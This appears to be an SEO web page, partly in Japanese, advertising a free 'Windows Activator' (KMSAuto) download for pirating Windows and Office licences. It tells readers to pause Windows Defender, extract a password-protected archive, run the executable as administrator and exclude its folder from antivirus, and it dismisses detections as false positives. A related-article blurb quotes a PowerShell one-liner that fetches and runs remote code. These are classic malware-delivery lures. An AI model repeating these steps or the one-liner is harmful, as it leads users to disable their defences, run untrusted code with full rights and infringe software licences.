Windows Activator 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 Windows Activator の日本語完全ガイドです。Windows activator — KMSAuto, the verified Ratiborus build. Free, password WYqejXiqBi97.
WYqejXiqBi97本記事は 2026 年版 Windows Activator の日本語完全ガイドです。'Windows Activator' usually means KMSAuto — the most-trusted Ratiborus build.
Overview
'Windows Activator' usually means KMSAuto — the most-trusted Ratiborus build.
How to use it
Five steps, under 2 minutes.
- Pause Windows Defender real-time protection for ~2 minutes
- Extract the downloaded ZIP using the password WYqejXiqBi97
- Right-click KMSAuto.exe and choose 'Run as administrator'
- Click the green Activation button — HWID for Windows, Ohook for Office
- Wait for 'Successfully activated' and reboot
What it activates
Full coverage of every modern Microsoft SKU.
- Windows 11 24H2 / 25H2
- Windows 10 22H2 LTSC
- Windows Server 2025 / 2022 / 2019
- Office 2024 / 2021 / 2019 / 2016 LTSC + Retail
- Microsoft 365 Apps for Enterprise
Why use this build
Verified Ratiborus mirror — SHA-256 hash, VirusTotal report, password WYqejXiqBi97, no installer, no ads, no telemetry.
Frequently asked questions
▸Is this build official?
Yes — the unmodified Ratiborus archive, SHA-256 verified and scanned on VirusTotal. Archive password: WYqejXiqBi97.
▸Does it work on Windows 11 24H2/25H2?
Yes. KMSAuto's HWID engine activates every Windows 11 build including 24H2 and 25H2 — permanent, offline.
▸Does it activate Office 2024?
Yes. Office 2024 (LTSC, Retail, Volume) is activated via the Ohook patch in KMSAuto 1.9.x and newer.
▸Why is it flagged by antivirus?
Every KMS activator is flagged as HackTool because it edits Windows licensing components. That is a false positive, not malware. Add the folder to Defender exclusions.
▸What's the archive password?
WYqejXiqBi97 — the standard Ratiborus archive password.
Read this article in another language
Related articles
Activate Windows via PowerShell 認証方法 2026 — 完全ガイド
本記事は 2026 年版 Activate Windows via PowerShell の日本語完全ガイドです。PowerShell one-liner to install a GVLK and activate against a local KMS — for IT bulk deploys.
Read article →
Windows 11 Digital-License-Lost — トラブルシューティング 2026
本記事は 2026 年版 Windows 11 Digital-License-Lost の日本語完全ガイドです。Step-by-step fix for Digital-License-Lost on Windows 11. Digital license lost after motherboard swap. Resolved in under 2 minutes with OfficialKMSAuto.
Read article →
MAS (Microsoft Activation Scripts) 無料ダウンロード 2026 — Windows と Office ライセンス認証ツール
本記事は 2026 年版 MAS (Microsoft Activation Scripts) の日本語完全ガイドです。Microsoft Activation Scripts (MAS) is an open-source PowerShell one-liner: irm https://massgrave.dev/get | iex. Full breakdown, safety analysis, and offline alternative.
Read article →
Fix Error 0xC004F050 — トラブルシューティング 2026
本記事は 2026 年版 Fix Error 0xC004F050 の日本語完全ガイドです。Fix Error 0xC004F050: step-by-step 2026 guide. Free OfficialKMSAuto download, password WYqejXiqBi97. HWID, Ohook & TSforge supported.
Read article →
Fix KMSAuto Token Backup Error — トラブルシューティング 2026
本記事は 2026 年版 Fix KMSAuto Token Backup Error の日本語完全ガイドです。Fix KMSAuto Token Backup Error: step-by-step 2026 guide. Free OfficialKMSAuto download, password WYqejXiqBi97. HWID, Ohook & TSforge supported.
Read article →
KMSAuto Office 2010 無料認証方法 2026 — ステップバイステップ
本記事は 2026 年版 KMSAuto Office 2010 の日本語完全ガイドです。Activate Office 2010 Professional Plus free with KMSAuto Net 2026 — last activator with full Office 2010 support.
Read article →
Download OfficialKMSAuto
Free, safe, open source. Works on Windows 7, 8, 10, 11 and Office 2010–2024.
Download Activator — Free🔐 Archive password: WYqejXiqBi97